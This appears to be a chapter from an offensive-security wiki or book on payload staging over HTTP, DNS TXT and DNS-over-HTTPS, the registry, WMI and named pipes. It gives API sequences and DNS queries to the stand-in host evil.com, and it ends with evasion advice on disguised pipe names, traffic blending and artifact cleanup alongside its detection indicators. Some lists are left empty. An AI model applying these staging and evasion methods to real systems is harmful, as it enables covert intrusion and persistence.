Chapter 12

Chapter 12: Payload Staging

The previous chapter explored how to disguise payloads through obfuscation—transforming shellcode into innocent-looking data formats. But even perfectly obfuscated payloads present a problem: they must exist somewhere. Whether embedded in an executable, stored in a document, or delivered through an exploit, the full payload creates a static artifact that security products can eventually analyze and signature. Payload staging solves this by separating the initial access mechanism from the actual payload, delivering the minimal code needed to retrieve and execute the real capability from an external source.

This architectural approach offers profound advantages. The initial stager can be tiny—sometimes just a few dozen bytes—reducing the attack surface for static analysis. The actual payload never touches disk, existing only in memory. Different payloads can be delivered to different targets using the same stager. And if the payload is detected, a new version can be deployed without modifying the initial access vector.


Understanding Staged Payloads

The staging concept divides payload delivery into two phases: a small, simple stager that establishes initial execution, and a larger, more capable staged payload that the stager retrieves and executes.

The Two-Phase Architecture

                    PAYLOAD STAGING ARCHITECTURE

    Phase 1: Initial Execution
    ┌─────────────────────────────────────────────────────────────────────┐
    │  STAGER                                                              │
    │  ┌─────────────────────────────────────────────────────────────────┐│
    │  │  Characteristics:                                               ││
    │  │  • Small size (typically < 1KB)                                ││
    │  │  • Minimal functionality                                        ││
    │  │  • Simple code (few API calls)                                 ││
    │  │  • Single purpose: retrieve and execute stage 2                ││
    │  │                                                                 ││
    │  │  Primary Task:                                                  ││
    │  │  1. Connect to staging server or read from staging location    ││
    │  │  2. Download/retrieve the staged payload                       ││
    │  │  3. Allocate executable memory                                 ││
    │  │  4. Transfer execution to staged payload                       ││
    │  └─────────────────────────────────────────────────────────────────┘│
    └─────────────────────────────────────────────────────────────────────┘
                                    │
                                    │ Retrieves
                                    ▼
    Phase 2: Capability Delivery
    ┌─────────────────────────────────────────────────────────────────────┐
    │  STAGED PAYLOAD                                                      │
    │  ┌─────────────────────────────────────────────────────────────────┐│
    │  │  Characteristics:                                               ││
    │  │  • Any size (not constrained by initial vector)                ││
    │  │  • Full functionality                                           ││
    │  │  • Complex capabilities                                         ││
    │  │  • Never written to disk                                        ││
    │  │                                                                 ││
    │  │  Can Be:                                                        ││
    │  │  • Shellcode (position-independent code)                       ││
    │  │  • Full PE executable (loaded reflectively)                    ││
    │  │  • DLL (reflective DLL injection)                              ││
    │  │  • .NET assembly (loaded via CLR)                              ││
    │  └─────────────────────────────────────────────────────────────────┘│
    └─────────────────────────────────────────────────────────────────────┘

Staged vs. Stageless: Trade-offs

Both approaches have their place, and the choice depends on operational requirements:

                    STAGING COMPARISON

    Staged Approach:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  Advantages:                                                         │
    │  ├── Minimal initial footprint (harder to detect/analyze)          │
    │  ├── Payload flexibility (deliver different payloads as needed)    │
    │  ├── Payload never on disk (memory-only execution)                 │
    │  ├── Easier payload updates (just change what server delivers)     │
    │  └── Reduces exploit size constraints                               │
    │                                                                      │
    │  Disadvantages:                                                      │
    │  ├── Requires network connectivity                                  │
    │  ├── Single point of failure (staging server must be available)    │
    │  ├── Network traffic may be detected                               │
    │  └── Additional complexity and latency                              │
    └─────────────────────────────────────────────────────────────────────┘

    Stageless Approach:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  Advantages:                                                         │
    │  ├── Self-contained (no external dependencies)                     │
    │  ├── Works in air-gapped environments                              │
    │  ├── Immediate execution (no network latency)                      │
    │  ├── Simpler architecture (fewer failure modes)                    │
    │  └── No network indicators during initial execution                │
    │                                                                      │
    │  Disadvantages:                                                      │
    │  ├── Larger initial size (full payload embedded)                   │
    │  ├── Static payload (can't adapt to target)                        │
    │  ├── Full payload recoverable from disk                            │
    │  └── Harder to update deployed payloads                            │
    └─────────────────────────────────────────────────────────────────────┘

The decision often comes down to network access. If reliable network connectivity exists, staging provides significant operational advantages. For restricted or air-gapped environments, stageless payloads are necessary.


HTTP/HTTPS Staging

The most common staging channel is HTTP/HTTPS. It's ubiquitous—almost every network allows outbound HTTP traffic—and HTTPS provides encryption that prevents inspection of the payload content.

How HTTP Staging Works

The stager makes an HTTP(S) request to retrieve the payload, then executes it:

                    HTTP STAGING FLOW

    Target Host                              Staging Server
    ┌────────────┐                           ┌────────────────┐
    │            │                           │                │
    │  Stager    │  ───── HTTPS GET ──────▶ │  Web Server    │
    │  executes  │       /payload            │                │
    │            │                           │                │
    │            │  ◀──── Response ──────── │  Encrypted     │
    │  Receives  │       (encrypted          │  Payload       │
    │  payload   │        shellcode)         │                │
    │            │                           │                │
    │  Decrypts  │                           │                │
    │  + Execute │                           │                │
    │            │                           │                │
    └────────────┘                           └────────────────┘

    Process on Target:
    1. InternetOpen() - Initialize WinInet
    2. InternetOpenUrl() - Connect to staging server
    3. InternetReadFile() - Download payload into memory
    4. Optional: Decrypt payload
    5. VirtualProtect(PAGE_EXECUTE_READ) - Make memory executable
    6. Call into payload address

Windows Internet APIs

Windows provides two primary APIs for HTTP communication: WinInet and WinHTTP. Each has different characteristics:

WinInet (wininet.dll):

WinHTTP (winhttp.dll):

Stager Size Considerations

HTTP stagers can be remarkably small. The essential operations are:

  1. Load wininet.dll or winhttp.dll
  2. Initialize the library
  3. Open a connection to the URL
  4. Read data into memory
  5. Execute the data

In optimized shellcode, this can be accomplished in 200-400 bytes, making HTTP staging viable even in heavily constrained exploit scenarios.

SSL Certificate Handling

When staging over HTTPS, certificate validation can be an issue if the staging server uses a self-signed certificate. Options include:

    Certificate Handling Options:

    1. Use Valid Certificate
       └── Proper cert from Let's Encrypt or commercial CA
       └── Best OpSec - looks like legitimate traffic

    2. Ignore Certificate Errors
       └── SECURITY_FLAG_IGNORE_ALL_CERT_ERRORS flag
       └── Allows any certificate
       └── May be flagged by security products

    3. Domain Fronting (if available)
       └── Use CDN's valid certificate
       └── Actual traffic goes to staging server
       └── Increasingly blocked by CDN providers

    4. Certificate Pinning
       └── Embed expected cert hash in stager
       └── Verify server cert matches
       └── Adds size but improves security

Registry-Based Staging

The Windows Registry provides an interesting staging mechanism. Rather than retrieving the payload from a network location, it can be read from a registry value where it was previously stored. This enables "fileless" persistence where the payload exists only in the registry and memory.

Why Registry Staging?

Registry staging offers several advantages:

                    REGISTRY STAGING BENEFITS

    Persistence:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  Registry survives reboots → Payload persists without files        │
    │  Combine with Run key or scheduled task for execution              │
    └─────────────────────────────────────────────────────────────────────┘

    Evasion:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  No file on disk → Evades file-based scanners                      │
    │  Binary data in registry is common → Blends with normal data       │
    │  Less forensic artifact → Harder to discover than files            │
    └─────────────────────────────────────────────────────────────────────┘

    Size:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  REG_BINARY values can be large (~1MB practical limit)             │
    │  Sufficient for most shellcode payloads                            │
    │  Multiple values can store larger payloads                         │
    └─────────────────────────────────────────────────────────────────────┘

The Two-Stage Registry Approach

Registry staging typically involves two phases:

Phase 1 (Initial Compromise): Write the payload to a registry value. This might happen during initial access or through a separate dropper.

Phase 2 (Execution): A small stager reads the payload from the registry and executes it. The stager can be a scheduled task, Run key entry, or any persistence mechanism.

    Registry Staging Flow:

    Initial Compromise:
    ┌───────────────────────────────────────────────────────────────────┐
    │  1. Dropper runs with payload embedded                            │
    │  2. RegCreateKeyEx() - Create/open registry key                   │
    │  3. RegSetValueEx(REG_BINARY) - Write payload as binary value     │
    │  4. Dropper exits (can self-delete)                               │
    └───────────────────────────────────────────────────────────────────┘

    Subsequent Executions (via persistence):
    ┌───────────────────────────────────────────────────────────────────┐
    │  1. Stager runs (via Run key, scheduled task, etc.)              │
    │  2. RegOpenKeyEx() - Open registry key                            │
    │  3. RegQueryValueEx() - Query value size                          │
    │  4. VirtualAlloc() - Allocate memory                              │
    │  5. RegQueryValueEx() - Read binary data                          │
    │  6. VirtualProtect() - Make executable                            │
    │  7. Call payload                                                   │
    └───────────────────────────────────────────────────────────────────┘

Choosing Registry Locations

Not all registry locations are equally suitable:

Location Pros Cons
HKCU\Software\Classes User-writable, large values allowed Heavily monitored
HKCU\Software\Microsoft\Windows\... Blends with Windows data Common investigation target
HKLM\SOFTWARE\... System-wide persistence Requires admin privileges
Custom application keys Less suspicious May stand out as unusual

The best locations mimic legitimate Windows or application data. A binary value named "IconCache" or "Settings" in an Explorer subkey appears more natural than "Payload" in a custom key.

Encoding Considerations

Registry values are stored as raw binary, but the stager must handle the data correctly:

    Data Storage Options:

    Raw Binary (REG_BINARY):
    ├── Direct shellcode bytes
    ├── Most efficient (no decoding needed)
    └── May be flagged by registry scanners

    Base64 Encoded (REG_SZ):
    ├── Payload encoded as base64 string
    ├── Requires decoding step
    └── Looks like configuration data

    Encrypted:
    ├── XOR, RC4, or AES encrypted
    ├── Requires decryption key
    ├── Key can be derived from environment
    └── Best for evasion

DNS-Based Staging

DNS is one of the most reliable exfiltration and staging channels because DNS traffic is almost universally allowed. Even highly restricted networks typically permit DNS queries, making it an attractive fallback when HTTP is blocked.

How DNS Staging Works

DNS TXT records can store arbitrary text data, typically encoded as base64. By splitting a payload across multiple TXT records and querying them sequentially, a stager can reassemble the complete payload:

                    DNS STAGING ARCHITECTURE

    Stager                                   Attacker's DNS Server
    ┌────────────┐                           ┌────────────────────┐
    │            │                           │                    │
    │ Query:     │ ──── TXT Query ────────▶ │ Zone File:         │
    │ count.     │      count.payload.      │                    │
    │ payload.   │      evil.com            │ count.payload.     │
    │ evil.com   │                          │ evil.com TXT "10"  │
    │            │ ◀──── Response ───────── │                    │
    │ Answer: 10 │      "10"                │                    │
    │            │                           │                    │
    │ Query:     │ ──── TXT Query ────────▶ │ 0.payload.        │
    │ 0.payload. │                          │ evil.com TXT      │
    │ evil.com   │                          │ "QkFTRTY0Li4u"    │
    │            │ ◀──── Response ───────── │                    │
    │ Chunk 0    │                          │                    │
    │            │                           │                    │
    │ ... repeat for chunks 1-9 ...         │                    │
    │            │                           │                    │
    │ Reassemble │                           │                    │
    │ + Execute  │                           │                    │
    └────────────┘                           └────────────────────┘

TXT Record Limitations

DNS TXT records have size constraints that affect staging design:

    TXT Record Constraints:

    Single String:     255 bytes maximum
    Multiple Strings:  Up to 65535 bytes total (rarely supported)
    Practical Limit:   ~200 bytes per record (after encoding overhead)

    Chunking Strategy:
    ├── Split payload into ~180 byte chunks
    ├── Base64 encode each chunk (~240 chars encoded)
    ├── One TXT record per chunk
    ├── Sequential queries: 0.domain, 1.domain, 2.domain, ...
    └── Metadata record for chunk count

For a 5KB payload:

DNS Staging Advantages

    Why DNS Staging Works:

    Ubiquitous Allowance:
    ├── DNS almost always permitted through firewalls
    ├── Even restrictive networks allow DNS (port 53)
    └── DNS over HTTPS (DoH) provides encryption

    Difficult to Block:
    ├── Blocking DNS breaks most applications
    ├── TXT records have legitimate uses (SPF, DKIM, etc.)
    └── Payload spread across many queries

    Stealth Considerations:
    ├── Each query looks like normal DNS
    ├── Burst of TXT queries may be suspicious
    ├── Randomizing query timing helps
    └── Using common resolvers provides cover

DNS-over-HTTPS (DoH)

Modern stagers can use DoH to encrypt DNS queries, preventing network inspection:

    DNS-over-HTTPS Flow:

    1. Construct JSON query:
       {"name": "0.payload.evil.com", "type": "TXT"}

    2. HTTPS POST to resolver:
       https://cloudflare-dns.com/dns-query
       or https://dns.google/resolve

    3. Parse JSON response for TXT data

    4. Repeat for all chunks

    Benefits:
    ├── Encrypted (HTTPS)
    ├── Uses standard HTTPS port (443)
    ├── Traffic to legitimate resolver (cloudflare, google)
    └── Harder to distinguish from normal DoH traffic

WMI-Based Staging

Windows Management Instrumentation (WMI) provides a lesser-known staging location. WMI allows creating custom classes with arbitrary properties, including binary data. The payload can be stored as a property value and retrieved through WMI queries.

WMI Storage Concept

WMI stores data in a repository that persists across reboots. By creating a custom class with a property containing the payload, the data survives without any file on disk:

                    WMI STORAGE STRUCTURE

    WMI Repository (C:\Windows\System32\wbem\Repository\)
    └── root\cimv2 namespace
        └── Custom Class: "Win32_SystemUtility" (attacker-created)
            └── Properties:
                ├── Name: "ConfigurationData"
                │   Type: Array of Bytes
                │   Value: [payload bytes...]
                │
                └── Name: "Version"
                    Type: String
                    Value: "1.0.0"

    To Store:
    ├── Connect to WMI
    ├── Create custom class deriving from base class
    ├── Add property with payload as byte array
    └── Save class to repository

    To Retrieve:
    ├── Connect to WMI
    ├── Query for custom class
    ├── Read property value
    └── Execute payload from retrieved bytes

Why WMI Staging?

WMI staging offers unique advantages:

Persistence: WMI repository survives reboots without additional persistence mechanisms.

Obscurity: Few security tools examine WMI for payload storage. It's a known technique but infrequently monitored.

Capacity: WMI can store arbitrary amounts of data, unlike registry value size limits.

Integration: WMI is deeply integrated into Windows management—WMI queries are common in enterprise environments.

Detection Challenges

WMI staging is harder to detect than file-based or registry-based approaches:

    WMI Detection Challenges:

    Limited Visibility:
    ├── WMI repository is a binary database (not easily browsable)
    ├── Custom classes don't appear in standard system tools
    └── Requires WMI queries to discover

    Forensic Difficulties:
    ├── WMI repository files are locked during operation
    ├── Manual parsing is complex
    └── Few forensic tools handle WMI well

    Legitimate Cover:
    ├── Many management tools create WMI classes
    ├── Binary data in WMI is common (for MOF files, etc.)
    └── Hard to distinguish malicious from legitimate

Named Pipe Staging

Named pipes provide an inter-process communication mechanism that can serve as a staging channel. Unlike network-based staging, named pipes work for local staging between processes or for lateral movement staging within a network.

Named Pipe Communication

Named pipes allow bidirectional communication between processes:

                    NAMED PIPE STAGING

    Scenario 1: Local Staging (Parent → Child)
    ┌─────────────────────────────────────────────────────────────────────┐
    │                                                                      │
    │  Parent Process                    Child Process                    │
    │  ┌──────────────┐                  ┌──────────────┐                │
    │  │ Create Pipe  │                  │ Connect to   │                │
    │  │ (server)     │ ◀─ Pipe ───────▶ │ Pipe         │                │
    │  │              │                  │ (client)     │                │
    │  │ Write        │                  │              │                │
    │  │ Payload      │ ────────────────▶│ Read Payload │                │
    │  │              │                  │ Execute      │                │
    │  └──────────────┘                  └──────────────┘                │
    │                                                                      │
    │  Use case: Dropper injecting into spawned process                  │
    └─────────────────────────────────────────────────────────────────────┘

    Scenario 2: Lateral Movement Staging
    ┌─────────────────────────────────────────────────────────────────────┐
    │                                                                      │
    │  Compromised Host A               Target Host B                     │
    │  ┌──────────────┐                 ┌──────────────┐                 │
    │  │ Connect to   │                 │ Pipe Server  │                 │
    │  │ Remote Pipe  │ ─── SMB ──────▶ │ (listening)  │                 │
    │  │              │                 │              │                 │
    │  │ Write        │                 │ Read Payload │                 │
    │  │ Payload      │ ───────────────▶│ Execute      │                 │
    │  └──────────────┘                 └──────────────┘                 │
    │                                                                      │
    │  Pipe: \\HostB\pipe\chrome_update_service                          │
    │  Use case: Lateral movement after initial compromise               │
    └─────────────────────────────────────────────────────────────────────┘

Pipe Naming Conventions

Pipe names should blend with legitimate system activity:

    Good Pipe Names (blend in):
    ├── \\.\pipe\chrome_update_service
    ├── \\.\pipe\MicrosoftSecurityService
    ├── \\.\pipe\WindowsDefenderService
    ├── \\.\pipe\spoolss_notify
    └── \\.\pipe\eventlog

    Poor Pipe Names (stand out):
    ├── \\.\pipe\payload
    ├── \\.\pipe\c2
    ├── \\.\pipe\shell
    └── \\.\pipe\beacon

Remote Pipe Access

Named pipes can be accessed over SMB (port 445), enabling cross-host staging:

    Remote Pipe Access:

    Local Pipe:  \\.\pipe\pipename
    Remote Pipe: \\hostname\pipe\pipename

    Requirements:
    ├── SMB access to target (port 445)
    ├── Appropriate credentials
    ├── Pipe exists on remote host
    └── Pipe ACL permits access

    The staging server process must:
    ├── Create the pipe with appropriate security descriptor
    ├── Wait for connection (ConnectNamedPipe)
    ├── Write payload when client connects
    └── Disconnect and optionally loop

Staging Channel Selection

Different staging channels suit different scenarios. The choice depends on network constraints, detection concerns, and operational requirements:

                    STAGING CHANNEL COMPARISON

    ┌───────────────────────────────────────────────────────────────────────┐
    │  Channel    │ Size Limit │ Persistence │ Detection │ Network Needed  │
    ├───────────────────────────────────────────────────────────────────────┤
    │  HTTP/HTTPS │ Unlimited  │ No          │ Medium    │ Yes (outbound)  │
    │  Registry   │ ~1MB       │ Yes         │ Medium    │ No              │
    │  DNS TXT    │ Unlimited* │ No          │ Medium    │ Yes (DNS only)  │
    │  WMI        │ Unlimited  │ Yes         │ Low       │ No              │
    │  Named Pipe │ Unlimited  │ No          │ Medium    │ Local or SMB    │
    └───────────────────────────────────────────────────────────────────────┘
    * DNS TXT requires multiple queries for large payloads

    Selection Guidelines:

    Network Available + No Proxy Inspection:
    └── HTTP/HTTPS staging (fastest, most flexible)

    Network Available + Proxy Inspection:
    └── DNS staging (bypasses HTTP inspection)

    Network Available + DNS Monitoring:
    └── DoH staging (encrypted DNS queries)

    No Network Access:
    └── Registry or WMI staging (requires prior payload placement)

    Lateral Movement:
    └── Named pipe staging (over SMB)

    Maximum Stealth:
    └── WMI staging (least commonly monitored)

Defense and Detection

Understanding how defenders detect staging helps in both improving evasion and building better detection.

Detection Patterns

Each staging method has characteristic indicators:

    HTTP/HTTPS Staging Indicators:

    Network:
    ├── Suspicious user-agent strings
    ├── Connections to newly registered domains
    ├── Certificate anomalies (self-signed, mismatched)
    ├── Large downloads from unusual endpoints
    └── Binary content returned for non-binary URLs

    Endpoint:
    ├── WinInet/WinHTTP calls followed by VirtualAlloc(RWX)
    ├── Downloaded content executed without disk write
    └── Network connection from unusual process

    Registry Staging Indicators:

    ├── Large REG_BINARY values (> few KB)
    ├── Binary data in unusual locations
    ├── Registry read followed by memory execution
    └── New values in common persistence locations

    DNS Staging Indicators:

    ├── Burst of TXT queries to same domain
    ├── Sequential subdomain queries (0.x, 1.x, 2.x...)
    ├── High-entropy TXT record content
    └── Base64-like patterns in TXT responses

    WMI Staging Indicators:

    ├── Custom WMI class creation
    ├── Binary data in WMI properties
    ├── WMI queries followed by memory execution
    └── Unusual WMI namespace activity

Behavioral Correlations

The most effective detection correlates multiple events:

    High-Confidence Detection Patterns:

    HTTP Staging:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  InternetReadFile()                                                 │
    │          ↓                                                          │
    │  VirtualAlloc(PAGE_EXECUTE_READWRITE)                              │
    │          ↓                                                          │
    │  Memory copy of downloaded content                                 │
    │          ↓                                                          │
    │  Thread creation or direct call to allocated memory                │
    │                                                                      │
    │  = High probability of staged payload execution                    │
    └─────────────────────────────────────────────────────────────────────┘

    Registry Staging:
    ┌─────────────────────────────────────────────────────────────────────┐
    │  RegQueryValueEx(REG_BINARY)                                        │
    │          ↓                                                          │
    │  VirtualAlloc()                                                     │
    │          ↓                                                          │
    │  Memory copy of registry data                                      │
    │          ↓                                                          │
    │  VirtualProtect(PAGE_EXECUTE)                                      │
    │          ↓                                                          │
    │  Execution in allocated memory                                     │
    │                                                                      │
    │  = High probability of registry-staged execution                   │
    └─────────────────────────────────────────────────────────────────────┘

Evasion Considerations

To evade detection, staging implementations should:

Blend Network Traffic: Use legitimate-looking user-agents, connect to aged domains with good reputation, and mimic normal application traffic patterns.

Avoid Suspicious API Sequences: Insert benign API calls between staging operations, use alternative allocation methods, or employ callback-based execution.

Encrypt Staged Payloads: Never transfer plaintext payloads—always encrypt in transit and decrypt in memory.

Clean Up Artifacts: If using registry or WMI staging, remove the stored payload after execution.

Vary Timing: Add random delays between DNS queries or HTTP requests to avoid burst patterns.


Summary

Payload staging fundamentally changes the attack architecture by separating initial access from capability delivery. This separation provides operational flexibility, reduces static detection surface, and enables dynamic payload deployment.

Key staging concepts:

Channel Best Use Case Key Consideration
HTTP/HTTPS General purpose, flexible SSL inspection may reveal payload
Registry Persistence, fileless Size limits, monitoring possible
DNS TXT Restrictive networks Slow, multiple queries needed
WMI Stealth, persistence Complex implementation
Named Pipes Local/lateral staging Requires existing access

Best practices for effective staging:

  1. Encrypt payloads in transit and at rest
  2. Match staging channel to network constraints
  3. Blend with legitimate traffic patterns
  4. Implement fallback channels when possible
  5. Clean up staging artifacts after execution
  6. Use callback-based execution for the staged payload

The next chapter explores process injection—how to execute code in the context of other processes for additional stealth and capability.


References

← Back to Wiki